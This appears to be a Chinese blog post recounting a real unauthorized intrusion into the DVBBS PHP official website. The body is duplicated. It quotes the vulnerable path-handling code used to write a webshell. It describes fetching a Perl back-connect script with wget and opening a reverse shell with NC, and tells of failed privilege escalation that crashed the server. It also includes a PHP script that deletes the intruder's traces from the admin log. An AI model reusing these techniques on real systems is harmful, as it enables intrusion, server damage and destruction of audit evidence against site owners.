入侵DVBBS php官网详细过程(图)
互联网 发布时间:2008-10-08 19:36:29 作者:佚名 我要评论
几 个月前,DVBBS php2.0暴了一个可以直接读出管理员密码的sql注入漏洞,当时这个漏洞出来的时候
三、 后台跨目录写文件漏洞:
一天的时间,我得到后台的管理权限,真的很艰难,但革命尚未结束,还没拿到webshell呢,不过一般而言,得到了后台权限,就离webshell不远了,flyh4t说写个模板就可以搞定了,我没着急搞,先去吃个饭…
回来后,我在后台用syinfo.php?act=phpinfo看了下系统,典型的LAMP
(linux,apache,mysql,php)组合,看来要努力的还很多啊;我按照常规思路准备写个php的模板,可是新建模板的时候却出错了:
不是0777权限,写不进去。怎么办?
后台晃悠,看看可不可以找到另外的突破口,可是很不幸,从晚上翻到凌晨都没发现有一处可以利用的地方,可能php后台拿webshell的方法我不熟,一直搞惯了asp的站,到php就思路堵塞了,百度了下方法,也没找到。难道伟大的革命要结束啦?
翻 了一会,我居然在模板页面下面看到一个建目录的地方,不过依旧没权限建,哎,linux就是麻烦,如果是windows肯定不会权限这么变态的,自己的站 一般情况下肯定可以写的,想到可写,我突然眼前一亮,对啊,这个站可以有可写的地方啊,比如上传头像上传图片或者文件,都需要可写的目录啊,linux权 限设置的虽然变态,但总会留下个可以的地方的,可是问题是我该怎么利用?
胡乱尝试了好多次跨目录建目录或者文件失败后(现在回想回想怎么会出错的,我把目录跟英文名搞混淆了),我决定不要盲目搞了,读读源代码,于是我打开admin里的template.php开始读,这不读不要紧,一读居然发现了可以跨目录写文件的漏洞。
胡乱填路径肯定出错,还有出错的原因是中文名一定要输中文名,英文名称无所谓,看代码先:
if(!is_dir($destfile)) {
if ($issafemode = ini_get('safe_mode')) {
show_msg($lang['page_title'], str_replace('{ $TPL_DIR }', $destfile, $lang['tpl.error12']));
footer();
exit;
}
if (!mkdir($destfile, 0777)) {
show_msg($lang['page_title'], $lang['tpl.error4']);
footer();
exit;
}
}
看来$destfile是关键了,再看看这个变量是什么:
$destfile = simpleMapPath($_POST['add_directory'].'/'.$_POST['add_ename']);
有个simpleMapPath在过滤啊,怪不得,再看看这个函数:
function simpleMapPath($path)
{
global $_SERVER;
if (empty($path)) {
return false;
}
$path = preg_replace('#(?:\\ )|(?:/ )#i', '/', $path);
if ($path{ 0 } === '/') {
$documentroot = realpath(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']));
return $documentroot.$path;
} elseif(substr($path, 0, 3) === '../') {
return $path;
} else {
return ROOT_PATH.$path;
}
}
这段函数看的我有点无语,实在看不出来他想过滤什么…专门写了个php文件把这个函数复制进去本机测试了下,完全可以写进上一层的目录。
无论是绝对路径还是相对路径都可以轻松在uploadfile里写个目录,然后写个模板里面,编辑下,于是拿到了webshell。此时天都快亮了,想睡觉的,可是睡不着,何不一气呵成,拿下系统权限?
四、 失败的提权:
由于提权失败了,所以这部分我也简单略过,虽然这花费了我一半的时间,可是水平不济啊。管理员权限给的太变态了,除了uploadfile,其他所有目录都不可写…不管了,有可写的地方就可以了,先查下服务器版本,输入uname -a;id,返回:
Linux p.dvbbs.net 2.6.9-5.ELsmp #1 SMP Wed Jan 5 19:30:39 EST 2005 i686 i686 i386 GNU/Linux
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp)
检 查了下perl 、wget,都安装上了,于是wget一个comeback.pl,接着用NC反弹下,也成功反弹回来本地shell,心想这么顺利啊,接下来就是提权 了,可是翻遍了milw0rm.com,找了各种提权的利用程序,就是没有一个能成功的,我百度谷歌了N久,网上有关linux下提权的文章非常少,有的 基本都是一个样,反弹一下然后提权,可是大家能轻松提权的prtcl.c在这里对它无可奈何…
到了下午实在太困了睡了一会儿,醒来后继续搞,但最后还是以失败告终,并且把它服务器溢出挂了,我赶紧收手,哎,我太菜了,就不做坏事了,留个页面纪念下:
五、 清理残留:
Linux下的残留我就没办法了,没提权成功,权限太小;但网站留下来的东西必须清理掉。于是写个clear.php:
define('ISDVBBS', TRUE);
require '../inc/config.php';
require '../inc/dv_clssql.php';
$db= new sqldb();
defined('DV_MUF_DB_HOST') AND ($dbhost = DV_MUF_DB_HOST);
$db->connect($dbhost, $dbuser, $dbpw, $dbname , $charset,$pconnect);
//清除我新建的模板
$db->query("DELETE FROM dv_styles WHERE name='啊啊啊'");
//清除我所在的IP后台操作日志
$db->query("DELETE FROM dv_log WHERE l_ip='58.213.51.65'");
echo "ok!";
?>
传到uploadfile里面,浏览器里运行下,于是ok…
一天的时间,我得到后台的管理权限,真的很艰难,但革命尚未结束,还没拿到webshell呢,不过一般而言,得到了后台权限,就离webshell不远了,flyh4t说写个模板就可以搞定了,我没着急搞,先去吃个饭…
回来后,我在后台用syinfo.php?act=phpinfo看了下系统,典型的LAMP
(linux,apache,mysql,php)组合,看来要努力的还很多啊;我按照常规思路准备写个php的模板,可是新建模板的时候却出错了:
不是0777权限,写不进去。怎么办?
后台晃悠,看看可不可以找到另外的突破口,可是很不幸,从晚上翻到凌晨都没发现有一处可以利用的地方,可能php后台拿webshell的方法我不熟,一直搞惯了asp的站,到php就思路堵塞了,百度了下方法,也没找到。难道伟大的革命要结束啦?
翻 了一会,我居然在模板页面下面看到一个建目录的地方,不过依旧没权限建,哎,linux就是麻烦,如果是windows肯定不会权限这么变态的,自己的站 一般情况下肯定可以写的,想到可写,我突然眼前一亮,对啊,这个站可以有可写的地方啊,比如上传头像上传图片或者文件,都需要可写的目录啊,linux权 限设置的虽然变态,但总会留下个可以的地方的,可是问题是我该怎么利用?
胡乱尝试了好多次跨目录建目录或者文件失败后(现在回想回想怎么会出错的,我把目录跟英文名搞混淆了),我决定不要盲目搞了,读读源代码,于是我打开admin里的template.php开始读,这不读不要紧,一读居然发现了可以跨目录写文件的漏洞。
胡乱填路径肯定出错,还有出错的原因是中文名一定要输中文名,英文名称无所谓,看代码先:
if(!is_dir($destfile)) {
if ($issafemode = ini_get('safe_mode')) {
show_msg($lang['page_title'], str_replace('{ $TPL_DIR }', $destfile, $lang['tpl.error12']));
footer();
exit;
}
if (!mkdir($destfile, 0777)) {
show_msg($lang['page_title'], $lang['tpl.error4']);
footer();
exit;
}
}
看来$destfile是关键了,再看看这个变量是什么:
$destfile = simpleMapPath($_POST['add_directory'].'/'.$_POST['add_ename']);
有个simpleMapPath在过滤啊,怪不得,再看看这个函数:
function simpleMapPath($path)
{
global $_SERVER;
if (empty($path)) {
return false;
}
$path = preg_replace('#(?:\\ )|(?:/ )#i', '/', $path);
if ($path{ 0 } === '/') {
$documentroot = realpath(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']));
return $documentroot.$path;
} elseif(substr($path, 0, 3) === '../') {
return $path;
} else {
return ROOT_PATH.$path;
}
}
这段函数看的我有点无语,实在看不出来他想过滤什么…专门写了个php文件把这个函数复制进去本机测试了下,完全可以写进上一层的目录。
无论是绝对路径还是相对路径都可以轻松在uploadfile里写个目录,然后写个模板里面,编辑下,于是拿到了webshell。此时天都快亮了,想睡觉的,可是睡不着,何不一气呵成,拿下系统权限?
四、 失败的提权:
由于提权失败了,所以这部分我也简单略过,虽然这花费了我一半的时间,可是水平不济啊。管理员权限给的太变态了,除了uploadfile,其他所有目录都不可写…不管了,有可写的地方就可以了,先查下服务器版本,输入uname -a;id,返回:
Linux p.dvbbs.net 2.6.9-5.ELsmp #1 SMP Wed Jan 5 19:30:39 EST 2005 i686 i686 i386 GNU/Linux
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp)
检 查了下perl 、wget,都安装上了,于是wget一个comeback.pl,接着用NC反弹下,也成功反弹回来本地shell,心想这么顺利啊,接下来就是提权 了,可是翻遍了milw0rm.com,找了各种提权的利用程序,就是没有一个能成功的,我百度谷歌了N久,网上有关linux下提权的文章非常少,有的 基本都是一个样,反弹一下然后提权,可是大家能轻松提权的prtcl.c在这里对它无可奈何…
到了下午实在太困了睡了一会儿,醒来后继续搞,但最后还是以失败告终,并且把它服务器溢出挂了,我赶紧收手,哎,我太菜了,就不做坏事了,留个页面纪念下:
五、 清理残留:
Linux下的残留我就没办法了,没提权成功,权限太小;但网站留下来的东西必须清理掉。于是写个clear.php:
define('ISDVBBS', TRUE);
require '../inc/config.php';
require '../inc/dv_clssql.php';
$db= new sqldb();
defined('DV_MUF_DB_HOST') AND ($dbhost = DV_MUF_DB_HOST);
$db->connect($dbhost, $dbuser, $dbpw, $dbname , $charset,$pconnect);
//清除我新建的模板
$db->query("DELETE FROM dv_styles WHERE name='啊啊啊'");
//清除我所在的IP后台操作日志
$db->query("DELETE FROM dv_log WHERE l_ip='58.213.51.65'");
echo "ok!";
?>
传到uploadfile里面,浏览器里运行下,于是ok…
相关文章
- CC主要是用来攻击页面的,大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,对不?!一般来说,访问的人越多,论坛的页2024-01-06
- 入侵者主要通过Potato程序攻击拥有SYSTEM权限的端口伪造网络身份认证过程,利用NTLM重放机制骗取SYSTEM身份令牌,最终取得系统权限,该安全风险微软并不认为存在漏洞,所以2021-04-15
- 这篇文章主要介绍了文件上传漏洞全面渗透分析小结,这里主要为大家分享一下防御方法,需要的朋友可以参考下2021-03-21
- 这篇文章主要介绍了sql手工注入语句&SQL手工注入大全,需要的朋友可以参考下2017-09-06
- 这篇文章主要介绍了详解Filezilla server 提权,需要的朋友可以参考下2017-05-13
FileZilla Server 2008 x64 提权与防御方法
这篇文章主要介绍了FileZilla Server 2008 x64 提权与防御方法,需要的朋友可以参考下2017-05-13- 不久之前我们说过关于http和https的区别,对于加密的https,我们一直认为它是相对安全的,可今天要讲的是,一种绕过HTTPS加密得到明文信息的web攻击方式,不知道这消息对你2016-08-10
iPhone和Mac也会被黑 一条iMessage密码可能就被盗了
一直以来苹果系统的安全性都是比安卓要高的,但是再安全的系统也免不了漏洞,苹果也一样。最近爆出的新漏洞,只需要接收一条多媒体信息或者iMessage就会导致用户信息泄露。2016-07-27- 国家正在修正关于黑客方面的法律法规,有一条震惊黑客圈的“世纪佳缘”起诉白帽黑客事件,深深的伤害了广大黑客们的心,加上扎克伯格和特拉维斯·卡兰尼克账号被盗,于是黑2016-07-11
如何逆向破解HawkEye keylogger键盘记录器进入攻击者邮箱
面对恶意邮件攻击,我们就只能默默忍受被他攻击,连自我保护能力都没有谈什么反抗?让人痛快的是,如今有了解决办法,逆向破解键盘记录器,进入攻击者邮箱2016-07-06
最新评论